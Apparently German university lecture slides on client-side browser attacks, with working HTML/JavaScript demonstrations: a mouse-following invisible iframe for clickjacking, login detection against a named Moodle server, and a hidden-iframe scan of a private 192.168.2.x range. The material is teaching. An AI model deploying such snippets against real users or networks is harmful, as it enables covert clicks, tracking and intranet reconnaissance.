Clientseitige Angriffe

Angriffe gegen den Browser

Angriffe auf Client-Seite

  • Drive-by Downloads
  • Clickjacking
  • User Tracking
  • Login Detection
  • Intranet Hacking

Drive-By Download

BKA-Trojaner
BKA-Trojaner

Clickjacking

  • Der User klickt gegen seinen Willen auf einen Link
  • Ziel des Angriffs
    • Download einer gefährlichen Datei
    • Facebook Likes oder Google +1 stehlen
    • XSS- oder XSRF-Angriff starten
    • Benutzer identifizieren
  • Gegenmaßnahmen
    • Keine technischen Maßnahmen möglich
    • Trennung der Browser für verschiedene Aufgaben

Beispiel: Clickjacking

  <style>
    #blanket {
      position: fixed;
      background-color: rgba(0,0,0,0.0);
      top: 0; bottom: 0; left: 0; right: 0;
    }
    #clickme {
      border: 0;
      overflow: hidden;
      position: fixed;
      top: 0; left: 0;
      background-color: red;
      width: 68px;
      height: 18px;
      background-color: rgba(0,0,0,0.0);
      z-index: 1;
    }
  </style>
  <script>
    function followMouse(event) {
      var clickme = document.getElementById("clickme");
      clickme.style.top = event.pageY - 15 + "px";
      clickme.style.left = event.pageX - 30 + "px";
    }
  </script>
</head>
<body>

...

<div id="blanket" onmousemove="followMouse(event)"></div>

<iframe onmousemove="followMouse(event)" id="clickme"
        src="_fishy.html"></iframe>
</body>

Login-Detection

  • Prüfen ob Benutzer an anderer Seite angemeldet ist
  • Ziel des Angriffs
    • Benutzer-Tracking
    • Voraussetzung für andere Angriffe: Clickjacking, XSRF, XSS, …

Beispiel: Login-Detection

<script>
  function eingeloggt() {
    document.getElementById('info').innerHTML='<b>eingeloggt</b>';
  }

  function ausgeloggt() {
    document.getElementById('info').innerHTML='<b>nicht</b> eingeloggt';
  }
</script>

<h1>Login Detection</h1>

Login-Status für Moodle: <span id="info"></span>

<img src="http://moodle.hs-mannheim.de/file.php/784/secret.jpeg"
    width="0" height="0"
    onerror="ausgeloggt()"
    onload="eingeloggt()">

Intranet Hacking

  • Webseite im Internet greift auf Daten im Intranet zu
  • Ziel des Angriffs
    • besondere Form von XSRF (siehe auch dort)
    • Router umkonfigurieren (Löcher bohren)
    • Netzwerk scannen (Fingerprinting)
  • Gegenmaßnahmen
  • Keine technischen Maßnahmen möglich
  • Müsste im Browser implementiert werden

Beispiel: IP-Scan

<script>
  var ip = "";
  var counter = 1;
  var found = [];

  function active() {
    found.push(ip);
    document.getElementById('result').innerHTML =
            document.getElementById('result').innerHTML + ip + "<br>";
  }

  function scanRanges() {
    ip = "192.168.2." + counter;
    document.getElementById("scanframe").src = "http://" + ip;
    document.getElementById("actualip").innerHTML = ip;
    counter++;
  }
</script>
<p>Suche Webserver auf Port 80.</p>

<b>Scanne</b>: <span id="actualip"></span>

<br><br>

<b>Gefunden:</b>
<span id="result"></span>

<iframe id="scanframe" src="" onload="active()"
    width="0" height="0"
    style="border: 0; background-color: rgba(0,0,0,0.0);">
</iframe>

<script>
  setInterval(scanRanges, 1000);
</script>

Copyright © 2025 Thomas Smits